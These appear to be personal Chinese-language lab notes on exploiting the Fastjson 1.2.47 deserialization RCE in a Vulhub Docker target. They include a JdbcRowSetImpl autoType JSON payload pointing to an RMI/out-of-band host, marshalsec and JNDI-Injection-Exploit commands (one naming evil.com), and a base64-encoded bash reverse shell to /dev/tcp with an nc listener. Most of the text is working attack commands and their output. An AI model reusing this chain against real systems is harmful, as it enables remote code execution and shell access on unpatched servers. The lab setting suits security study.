https://vulhub.org/#/environments/fastjson/1.2.47-rce/
cd /home/kali/vulhub/fastjson/1.2.47-rce
启动:
sudo docker-compose up -d
sudo docker-compose ps -a
sudo docker ps -a
已启动:访问端口8091
fastjson<
1.2.48
访问页面http://http://192.168.225.166:8091/
,返回json字符串
bp进行抓包,转发repeater,将get请求转成post;
修改请求参数为json, 增加json参数进行传参,返回序列化后的参数值.
https://github.com/Maskhe/FastjsonScan
如果成功安装,会输出如下信息,如果未能成功安装可以换下jdk版本??我用的1.8
使用方法也很简单,就像使用repeater一样,你可以在burp的任何地方选中一个请求右键选择【Send to FastjsonScan】将这个请求发送到Fastjson Scan,然后就只需要等待扫描结束
{"axin":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"is":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://c6juk7iuaimlq6w7ap5jkhrmxd33rs.oastify.com/aaa","autoCommit":true}}
http://dnslog.cn/ # 获取新的地址 5z5srb.dnslog.cn
JNDI,Java Nameing and Directory Interface,Java 命令与目录接口,是一组应用程序接口,目的是为了方便查找远程或本地对象。JNDI 典型的应用场景是配置数据源,除此之外,JNDI 还可以访问现有的目录和服务,例如LDAP| RMI| CORBA| DNS| NDS| NIS
https://github.com/welk1n/JNDI-Injection-Exploit.git
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://evil.com/#TouchFile" 9999
-----------------------
Run a JNDI reference redirector service pointing to that codebase - two implementations are included: marshalsec.jndi.LDAPRefServer and RMIRefServer.
java -cp target/marshalsec-[VERSION]-SNAPSHOT-all.jar marshalsec.jndi.(LDAP|RMI)RefServer <codebase># []
Use (ldap|rmi)://host:port/obj as the jndiUrl, pointing to that service's listening address.
-----------------------
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]
要确保 1099、1389、8180端口可用,不被其他程序占用
┌──(kalikali)-[~/tools]
└─$ proxychains git clone https://github.com/welk1n/JNDI-Injection-Exploit.git
#编译好tar包目录位置,准备启动JNDI通信服务
┌──(kalikali)-[~/tools/java-unserialize/JNDI-Injection-Exploit/target]
└─$ pwd
/home/kali/tools/java-unserialize/JNDI-Injection-Exploit/target
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/test" -A "192.168.225.166"
rmi://192.168.225.166:1099/fn3esn
rmi://192.168.225.166:1099/eal10z
ldap://192.168.225.166:1389/eal10z
rmi://192.168.225.166:1099/izbagp
ldap://192.168.225.166:1389/izbagp
sudo docker ps -a
sudo docker exec -it 532 /bin/bash
bp发送请求后已创建文件
nc -lvvp 6666 # 开启监听6666端口服务
----------------------------------
bash -i >& /dev/tcp/192.168.225.166/6666 0>&1
----------------------------------
bash -i >& /dev/tcp/192.168.225.166/6666 0>&1 转成base64位:YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNS4xNjYvNjY2NiAwPiYx
----------------------------------
bash -c {echo,base64编码一句话shell}|{base64,-d}|{bash,-i}
--------------
最后组合为
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNS4xNjYvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}
----------------------------------
输入java指令:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNS4xNjYvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.225.166"
bash -i &> /dev/tcp/192.168.225.166/6666 0<&1 # 反弹交互指令tcp服务
nc -lvp 6666 # l是监听模式;v是显示详细信息;p是指定端口;
https://ares-x.com/tools/runtime-exec/
nc -lvvp 6666
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNS4xNjYvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.225.166"
rmi://192.168.225.166:1099/omyj1u
ldap://192.168.225.166:1389/omyj1u
rmi://192.168.225.166:1099/ibhzk7
rmi://192.168.225.166:1099/dwddl1
ldap://192.168.225.166:1389/dwddl1